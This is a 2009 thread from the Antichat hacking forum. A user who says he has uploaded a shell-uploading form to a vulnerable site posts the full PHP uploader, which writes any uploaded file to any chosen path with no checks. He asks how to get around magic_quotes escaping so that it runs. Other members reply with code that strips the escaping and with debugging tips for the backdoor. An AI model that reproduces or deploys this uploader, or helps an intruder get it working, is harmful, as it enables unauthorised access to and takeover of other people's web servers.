Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Возникли проблемы с magic_quotes (https://forum.antichat.xyz/showthread.php?t=111699)

Jorge_ 17.03.2009 23:27

Возникли проблемы с magic_quotes
 
Загрузил на уязвимый сайт форму для загрузки шела, но вместо формы, вылетают ошибки вида:

Код:

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 8

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 8

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 8

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 8

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 9

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 9

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 9

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 9

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 10

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 10

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 10

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 10

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 11

Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in /usr/local/www/blocks/block-form.php on line 12

Сам скрипт формы:

PHP код:

<?php
if (!defined('BLOCK_FILE')) {
 
Header("Location: ../index.php");
 exit;
}

$self stripslashes($_SERVER['PHP_SELF']);
$docr stripslashes($_SERVER['DOCUMENT_ROOT']);
$sern stripslashes($_SERVER['SERVER_NAME']);
$tend "</tr></form></table><br><br><br><br>";
if (!empty(
$_GET['ac'])) {$ac stripslashes($_GET['ac']);}
elseif (!empty(
$_POST['ac'])) {$ac stripslashes($_POST['ac']);}
else {
$ac "upload";}
switch(
$ac) {
case 
"upload":
echo <<<HTML
<table>
<form enctype=multipart/form-data action=
$self method=POST>
<input type=hidden name=ac value=upload>
<tr>
<input size=5 name=file type=file></td>
</tr>
<tr>
<td><input size=10 value=
$docr name=path type=text><input type=submit value=ОК></td>
$tend
HTML;
if (isset(
$_POST['path'])){
$uploadfile stripslashes($_POST['path'].$_FILES['file']['name']);
if (
$_POST['path']==""){$uploadfile $_FILES['file']['name'];}

if (
copy($_FILES['file']['tmp_name'], $uploadfile)) {
    echo 
"Файл  ".$_FILES['file']['name']."  загружен";
} else {
    print (
"Не удаётся загрузить файл. Инф:\n");
    
print_r($_FILES);
}
}
break;
}
?>

На сервере установлено расширение magic_quotes_gpc.

Интересующий вопрос: Как обойти принудительное экранирование кавычек и апострофов в скрипте?

imajo.ati 18.03.2009 01:06

Цитата:

Сообщение от Jorge_
Интересующий вопрос: Как обойти принудительное экранирование кавычек и апострофов в скрипте?

PHP код:

if ( ini_get("magic_quotes_gpc") == )
{
        foreach ( 
$_GET    as $id => $v $_GET[$id]     = stripslashes($v);
        foreach ( 
$_POST   as $id => $v $_POST[$id]    = stripslashes($v);
        foreach ( 
$_COOKIE as $id => $v $_COOKIE[$id]  = stripslashes($v);



Jorge_ 18.03.2009 01:31

Цитата:

Сообщение от imajo.ati
PHP код:

if ( ini_get("magic_quotes_gpc") == )
{
        foreach ( 
$_GET    as $id => $v $_GET[$id]     = stripslashes($v);
        foreach ( 
$_POST   as $id => $v $_POST[$id]    = stripslashes($v);
        foreach ( 
$_COOKIE as $id => $v $_COOKIE[$id]  = stripslashes($v);



К сожалению, не помогло.

В строках, везде где содержатся апострофы, принудительное экранирование так и не пропало.

imajo.ati 18.03.2009 01:41

скрипт куда-то инклудится? если нет константы BLOCK_FILE то он и не исполнится дальше 5й строчки

+ в скрипте много лишнего кода и неуместное применение функции stripslashes на переменные среды - которые не экранируются - а именно на
$_SERVER['PHP_SELF'] $_SERVER['DOCUMENT_ROOT'] $_SERVER['SERVER_NAME']

Jorge_ 18.03.2009 01:46

Цитата:

Сообщение от imajo.ati
скрипт куда-то инклудится? если нет константы BLOCK_FILE то он и не исполнится дальше 5й строчки

+ в скрипте много лишнего кода и неуместное применение функции stripslashes на переменные среды - которые не экранируются - а именно на
$_SERVER['PHP_SELF'] $_SERVER['DOCUMENT_ROOT'] $_SERVER['SERVER_NAME']

Да, на сайте используется система блоков.

На сервере с выключенным magic_quotes, скрипт работает без ошибок.

+ Спасибо, за хинт

imajo.ati 18.03.2009 01:54

если файл подключается через include то функцию stripslashes и вообще все input данные надо обрабатывать в конечном файле - по крайней мере так написано было в той литературе, с помощью которой я знакомился с пхп.

попробуй изменить include на require и убери ото всюду функцию stripslashes заменив кодом из #3 сообщения, а так же попробуй заменить блок
<<<HTML
HTML;
на конструкцию echo "";

но скорее всего проблема в include

Pashkela 18.03.2009 02:54

как как, вот так:

PHP код:

<?php
if (get_magic_quotes_gpc()) {
   function 
stripslashes_deep($value)
   {
       
$value is_array($value) ?
                   
array_map('stripslashes_deep'$value) :
                   
stripslashes($value);

       return 
$value;
   }

   
$_POST array_map('stripslashes_deep'$_POST);
   
$_GET array_map('stripslashes_deep'$_GET);
   
$_COOKIE array_map('stripslashes_deep'$_COOKIE);
   
$_REQUEST array_map('stripslashes_deep'$_REQUEST);
}
?>


PaCo 18.03.2009 02:59

2m0Hze если ты без иронии то (c)php.net - http://www.php.net/manual/ru/security.magicquotes.disabling.php

real_sm 05.10.2009 17:13

Тем не менее, как разобрались?


Время: 14:31